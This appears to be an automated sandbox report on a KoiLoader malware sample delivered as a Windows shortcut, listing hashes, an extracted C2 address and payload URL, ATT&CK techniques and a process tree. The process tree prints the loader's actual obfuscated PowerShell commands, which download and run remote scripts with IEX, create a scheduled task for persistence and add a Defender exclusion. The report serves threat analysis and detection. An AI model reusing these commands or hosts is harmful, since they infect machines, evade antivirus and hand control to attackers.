koiloader | 02f27282ecc90843bd932d731c87426f78e4f88d79c66374ae06c6d1641c73cb

General

Target

02f27282ecc90843bd932d731c87426f78e4f88d79c66374ae06c6d1641c73cb.lnk
Size

1KB
MD5

202ee916a0113699880cc2e48a73d353
SHA1

85d9b74b2afa5bf0320e746a2871ef614159db2e
SHA256

02f27282ecc90843bd932d731c87426f78e4f88d79c66374ae06c6d1641c73cb
SHA512

c729137c2680e98e9686d6a2368e184fc38897032d0d0bf1e1c5a84530cc45208bfc60085be768c027d4ce52b627a7f308458ac5ed480c32289bc5a0d7c0a35e

Score

10^/10

koiloader defense_evasion discovery execution loader

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://casettalecese.it/wp-content/uploads/2022/10

Extracted

Family

koiloader

C2

http://94.247.42.253/pilot.php

Attributes

payload_url
https://casettalecese.it/wp-content/uploads/2022/10

Signatures

KoiLoader
KoiLoader is a malware loader written in C++.
loader koiloader
Koiloader family
koiloader

Detects KoiLoader payload 1 IoCs

loader

resource	yara_rule
behavioral2/memory/1720-56-0x00000000075F0000-0x00000000075FD000-memory.dmp	family_koi_loader

Blocklisted process makes network request 6 IoCs

flow	pid	Process
7	3596	powershell.exe
50	1720	powershell.exe
51	1720	powershell.exe
57	3020	powershell.exe
65	3020	powershell.exe
76	1720	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3596	powershell.exe
3020	powershell.exe
1720	powershell.exe
4600	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	wscript.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	wscript.exe

Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
432	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DllHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5696	schtasks.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
3596	powershell.exe
3596	powershell.exe
432	powershell.exe
432	powershell.exe
1720	powershell.exe
1720	powershell.exe
4600	powershell.exe
4600	powershell.exe
4600	powershell.exe
3020	powershell.exe
3020	powershell.exe
3020	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3596	powershell.exe
Token: SeDebugPrivilege	432	powershell.exe
Token: SeDebugPrivilege	1720	powershell.exe
Token: SeDebugPrivilege	4600	powershell.exe
Token: SeDebugPrivilege	3020	powershell.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 1728 wrote to memory of 3596	1728	cmd.exe	87
PID 1728 wrote to memory of 3596	1728	cmd.exe	87
PID 3596 wrote to memory of 4516	3596	powershell.exe	91
PID 3596 wrote to memory of 4516	3596	powershell.exe	91
PID 3596 wrote to memory of 5696	3596	powershell.exe	92
PID 3596 wrote to memory of 5696	3596	powershell.exe	92
PID 2880 wrote to memory of 432	2880	wscript.EXE	101
PID 2880 wrote to memory of 432	2880	wscript.EXE	101
PID 432 wrote to memory of 4216	432	powershell.exe	103
PID 432 wrote to memory of 4216	432	powershell.exe	103
PID 432 wrote to memory of 6072	432	powershell.exe	104
PID 432 wrote to memory of 6072	432	powershell.exe	104
PID 6072 wrote to memory of 1720	6072	wscript.exe	106
PID 6072 wrote to memory of 1720	6072	wscript.exe	106
PID 6072 wrote to memory of 1720	6072	wscript.exe	106
PID 4312 wrote to memory of 4328	4312	DllHost.exe	110
PID 4312 wrote to memory of 4328	4312	DllHost.exe	110
PID 4312 wrote to memory of 4328	4312	DllHost.exe	110
PID 4328 wrote to memory of 4600	4328	cmd.exe	112
PID 4328 wrote to memory of 4600	4328	cmd.exe	112
PID 4328 wrote to memory of 4600	4328	cmd.exe	112
PID 1720 wrote to memory of 5908	1720	powershell.exe	113
PID 1720 wrote to memory of 5908	1720	powershell.exe	113
PID 1720 wrote to memory of 5908	1720	powershell.exe	113
PID 5908 wrote to memory of 3020	5908	cmd.exe	116
PID 5908 wrote to memory of 3020	5908	cmd.exe	116
PID 5908 wrote to memory of 3020	5908	cmd.exe	116

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\02f27282ecc90843bd932d731c87426f78e4f88d79c66374ae06c6d1641c73cb.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $pdw = $env:programdata + '\' + ('htphwirvsci9k5.js jycqenaew'); $getf='Dow'+'nl'+'oadF'+'ile'; $x5yd46kp30cefn911gg = New-Object Net.WebClient; $wscs = 'wscript '; $x5yd46kp30cefn911gg.$getf('https://casettalecese.it/wp-content/uploads/2022/10/hemigastrectomySDur.php', 'htphwirvsci9k5.js'); . ('curl.e'+'xe') -s -o cs5c09hr6xij 'https://casettalecese.it/wp-content/uploads/2022/10/bivalviaGrr.php'; mv cs5c09hr6xij 'jycqenaew.js'; . ('sc'+'hta'+'s'+'ks') /create /sc minute /mo 1 /f /tr ($wscs + $pdw) /tn jycqenaew;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3596
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -s -o cs5c09hr6xij https://casettalecese.it/wp-content/uploads/2022/10/bivalviaGrr.php
    3⤵
    PID:4516
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /sc minute /mo 1 /f /tr "wscript C:\ProgramData\htphwirvsci9k5.js jycqenaew" /tn jycqenaew
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5696

C:\Windows\system32\wscript.EXE
C:\Windows\system32\wscript.EXE C:\ProgramData\htphwirvsci9k5.js jycqenaew
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "schtasks /delete /tn jycqenaew /f; wscript $env:programdata\jycqenaew.js "
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:432
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /delete /tn jycqenaew /f
    3⤵
    PID:4216
- - C:\Windows\system32\wscript.exe
    "C:\Windows\system32\wscript.exe" C:\ProgramData\jycqenaew.js
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:6072
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$typs=[Ref].Assembly.GetTypes();$bss = 'https://casettalecese.it/wp-content/uploads/2022/10'; Foreach($tt in $typs) {if ($tt.Name -like '*?siUt*s') {$c=$tt}}; $env:paths = '7zCD771U53GF'; IEX(Invoke-WebRequest -UseBasicParsing ($bss+'/boomier10qD0.php')); IEX(Invoke-WebRequest -UseBasicParsing ($bss+'/nephralgiaMsy.ps1'))"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1720
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "powershell -command IEX(IWR -UseBasicParsing 'https://casettalecese.it/wp-content/uploads/2022/10/sd2.ps1')"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5908
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command IEX(IWR -UseBasicParsing 'https://casettalecese.it/wp-content/uploads/2022/10/sd2.ps1')
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3020

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4312
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4328
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4600

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe "C:\ProgramData\r63e48d52-8c45-4cbc-90d9-6336485f78d0r.js"
1⤵
PID:2336

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe "C:\ProgramData\r63e48d52-8c45-4cbc-90d9-6336485f78d0r.js"
1⤵
PID:2888

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Indicator Removal

1

T1070

Clear Persistence

1

T1070.009

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\cs5c09hr6xij

Filesize
1KB

MD5
67533e8aa92bdea1787885cd15390154

SHA1
9c6fef375964dbb925d898158fe221b3841023b2

SHA256
cbe808ef04691c719ad35a61e57e596a09a7f6f1a9d6ac03c128137fb54f1cc5

SHA512
37c7aef9b86da2a631c14516955d14ba827ca978abafdb41d9a4b15b3aecd6adbd8dd92086fbcf3b9f24601c96f333bf50bed9b96a12ee7012a03fb53c046f25

Download Submit
C:\ProgramData\htphwirvsci9k5.js

Filesize
198B

MD5
af9f1f2076317c03e21d56367e638af4

SHA1
61c4f850591f851acd3108104ef14f0fe32f95a6

SHA256
70835a8f7ea6c93942935a6f9fef1ae4591c22e873e3b06000ef01437f2090c1

SHA512
c280492024a902e3988c88dca7e21fc622df1bdf66796d9baf06a3b393550ac3d771589b0c51e7c246991d314c0729e7631cd1c08ba575683d9abdef7295b29c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
344B

MD5
02c07d9e0c140702191d9225e1453dd5

SHA1
c18501af4b88cc21474fbd6b543a6e1307846759

SHA256
2646a70d417cdf527aef4e9e9d1c76f1c46c00e8619642ac26897173c5f03141

SHA512
1aaf8789f3090273e5e28a60cabc8c72e66dc104cfd8e6f419c0a9be5975aa5713276d77861b732d8f7a09284efdac4908dba63702774a333e890d804c56119f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7814a1e5bb7d98ddcd4254df3b64af39

SHA1
3c6ae8c10655b78d9e1436b7d5fc3da162709257

SHA256
04100ee65503cc102a13ec81d6598013ed02995c67ee1adf9fd5bbeee8f518db

SHA512
0fb089e1b86f9e8810e5e5fc980a1f4d560273917c4ad2e7c650867432f1a1c4961275fe7d45a9627d98eb0c5011d1a5f83d6457be638a77c2f65e426ae9ebac

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4hbpiiu2.x03.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1720-54-0x0000000007750000-0x0000000007DCA000-memory.dmp

Filesize
6.5MB

Download
memory/1720-53-0x00000000061A0000-0x00000000061BA000-memory.dmp

Filesize
104KB

Download
memory/1720-35-0x00000000048B0000-0x00000000048E6000-memory.dmp

Filesize
216KB

Download
memory/1720-36-0x0000000004F90000-0x00000000055B8000-memory.dmp

Filesize
6.2MB

Download
memory/1720-37-0x0000000004EA0000-0x0000000004EC2000-memory.dmp

Filesize
136KB

Download
memory/1720-38-0x00000000055C0000-0x0000000005626000-memory.dmp

Filesize
408KB

Download
memory/1720-39-0x0000000005630000-0x0000000005696000-memory.dmp

Filesize
408KB

Download
memory/1720-49-0x0000000005820000-0x0000000005B74000-memory.dmp

Filesize
3.3MB

Download
memory/1720-56-0x00000000075F0000-0x00000000075FD000-memory.dmp

Filesize
52KB

Download
memory/1720-51-0x0000000005E60000-0x0000000005E7E000-memory.dmp

Filesize
120KB

Download
memory/1720-52-0x0000000005EA0000-0x0000000005EEC000-memory.dmp

Filesize
304KB

Download
memory/1720-55-0x0000000007560000-0x0000000007561000-memory.dmp

Filesize
4KB

Download
memory/3020-100-0x0000000007B30000-0x0000000007B52000-memory.dmp

Filesize
136KB

Download
memory/3020-104-0x0000000008470000-0x0000000008502000-memory.dmp

Filesize
584KB

Download
memory/3020-103-0x0000000008380000-0x00000000083D0000-memory.dmp

Filesize
320KB

Download
memory/3020-102-0x0000000007BC0000-0x0000000007BDA000-memory.dmp

Filesize
104KB

Download
memory/3020-101-0x00000000088E0000-0x0000000008E84000-memory.dmp

Filesize
5.6MB

Download
memory/3596-2-0x00007FFC19ED3000-0x00007FFC19ED5000-memory.dmp

Filesize
8KB

Download
memory/3596-14-0x00007FFC19ED0000-0x00007FFC1A991000-memory.dmp

Filesize
10.8MB

Download
memory/3596-8-0x000001FF40C80000-0x000001FF40CA2000-memory.dmp

Filesize
136KB

Download
memory/3596-13-0x00007FFC19ED0000-0x00007FFC1A991000-memory.dmp

Filesize
10.8MB

Download
memory/3596-20-0x00007FFC19ED0000-0x00007FFC1A991000-memory.dmp

Filesize
10.8MB

Download
memory/4600-80-0x0000000006990000-0x00000000069AE000-memory.dmp

Filesize
120KB

Download
memory/4600-86-0x00000000079A0000-0x00000000079B4000-memory.dmp

Filesize
80KB

Download
memory/4600-92-0x0000000007AA0000-0x0000000007ABA000-memory.dmp

Filesize
104KB

Download
memory/4600-97-0x0000000007A80000-0x0000000007A88000-memory.dmp

Filesize
32KB

Download
memory/4600-85-0x0000000007990000-0x000000000799E000-memory.dmp

Filesize
56KB

Download
memory/4600-84-0x0000000007960000-0x0000000007971000-memory.dmp

Filesize
68KB

Download
memory/4600-83-0x00000000079E0000-0x0000000007A76000-memory.dmp

Filesize
600KB

Download
memory/4600-82-0x00000000077D0000-0x00000000077DA000-memory.dmp

Filesize
40KB

Download
memory/4600-81-0x00000000075B0000-0x0000000007653000-memory.dmp

Filesize
652KB

Download
memory/4600-70-0x0000000070850000-0x000000007089C000-memory.dmp

Filesize
304KB

Download
memory/4600-69-0x0000000007370000-0x00000000073A2000-memory.dmp

Filesize
200KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads